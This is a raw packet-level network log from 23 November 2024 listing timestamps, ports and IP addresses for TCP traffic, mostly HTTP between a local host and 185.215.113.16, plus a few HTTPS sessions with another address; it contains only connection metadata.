Nov 23, 2024 21:15:39.732805014 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.733066082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.733119011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.733937979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.733990908 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.734081984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.734127045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.735136986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.735183954 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.735284090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.735325098 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.736530066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.736670971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.736723900 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.737504005 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.737962008 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.737981081 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.738006115 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.738672018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.738708019 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.738755941 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.739808083 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.739917040 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.739964962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.740009069 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.740993023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.741064072 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.741097927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.741156101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.742198944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.742235899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.742284060 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.743375063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.743427992 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.743479967 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.743827105 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.744510889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.744560957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.744694948 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.744755983 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.745628119 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.745676041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.745789051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.746853113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.746912956 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.747309923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.747385979 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.747946024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.748215914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.748271942 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.749397039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.749528885 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.750267982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.750329018 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.750391006 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.750427008 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.750468969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.751476049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.752140045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.752688885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.752723932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.752751112 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.752758026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.752775908 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.752794981 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.753798962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.753926039 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.754136086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.754195929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.755013943 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.755141973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.756211996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.756247044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.756258011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.756284952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.756333113 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.757311106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.757374048 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.758510113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.758546114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.758579969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.758591890 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.758622885 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.759673119 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.759710073 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.759728909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.759741068 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.760799885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.760849953 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.761095047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.761205912 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.761998892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.762041092 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.762047052 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.762113094 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.821114063 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.825918913 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:39.825938940 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.826565027 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:39.826570988 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.871980906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.872047901 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.872467995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.872518063 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.872525930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.872587919 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.872634888 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.873404026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.873543978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.873599052 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.874605894 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.874638081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.874751091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.874751091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.906810045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.906958103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.907391071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.907473087 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.907804012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.908651114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.908778906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.908873081 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.909755945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.909817934 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.910276890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.910918951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.910949945 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.910984993 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.911135912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.911194086 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.912056923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.912108898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.912172079 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.913332939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.913539886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.913594961 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.914448023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.914602041 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.914850950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.915657043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.915718079 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.915899992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.915951967 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.916740894 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.916889906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.916944981 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.917882919 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.918009043 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.918135881 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.918261051 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.919075966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.919147015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.919205904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.919855118 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.920253038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.920289040 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.920296907 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.920510054 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.921375036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.921426058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.922384977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.922605038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.922641039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.922662973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.922897100 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.923713923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.923768044 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.924139977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.924187899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.924900055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.924978018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.925029039 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.926100969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.926198006 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.926312923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.926361084 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.927225113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.927529097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.927587986 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.928381920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.928533077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.928582907 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.929548979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.929733992 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.929905891 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.930409908 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.930725098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.930830956 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.930988073 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.931097031 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.932027102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.932086945 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.932133913 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.932245970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.933144093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.933301926 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.933351040 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.934240103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.934283972 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.934483051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.934854984 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.935395002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.935517073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.935769081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.936018944 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.936558962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.936768055 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.936888933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.936928988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.937783957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.937834024 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.937948942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.938925028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.938980103 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.939109087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.939155102 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.940066099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.940134048 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.940176964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.940326929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.941211939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.941261053 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.941351891 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.941397905 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.942380905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.942569971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.942621946 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.943573952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.943627119 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.943819046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.943881989 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.944817066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.944875002 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.945267916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.945319891 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.945919037 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.946039915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.946080923 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.946096897 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.947062969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.947122097 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.947165966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.947316885 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.948246956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.948309898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.948815107 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.949418068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.949501038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.949532032 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.949652910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.950608969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.950686932 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.950802088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.950913906 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.951857090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.951982975 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.951994896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.952214003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.952908993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.952925920 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.953002930 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.953253031 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.953465939 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:39.953473091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.953528881 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.953918934 CET	49758	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:39.953933001 CET	443	49758	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:39.954114914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.954262018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.954782009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.955265999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.955409050 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.955928087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.955976963 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.956422091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.956475019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.956779957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.956825972 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.957602978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.957731962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.957757950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.957808018 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.958717108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.958785057 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.959213018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.959894896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.959954023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.960314989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.961090088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.961179018 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.961229086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.961272955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.962232113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.962481976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.962732077 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.963428020 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.963735104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.963857889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.963947058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.002872944 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.003480911 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.003498077 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.003899097 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.004003048 CET	49757	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.004008055 CET	443	49757	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.004059076 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.004399061 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.004409075 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.004740953 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.004749060 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.004827976 CET	49762	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.004833937 CET	443	49762	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.005278111 CET	49759	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.005283117 CET	443	49759	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.073632002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.073704958 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.073733091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.073777914 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.074045897 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.074153900 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.074264050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.074347019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.075248957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.075309038 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.075325012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.075516939 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.076390982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.076661110 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.108078003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.108154058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.108155966 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.108498096 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.108614922 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.108757973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.108855963 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.109803915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.109858990 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.109934092 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.109983921 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.110972881 CET	80	49750	185.215.113.16	192.168.2.8
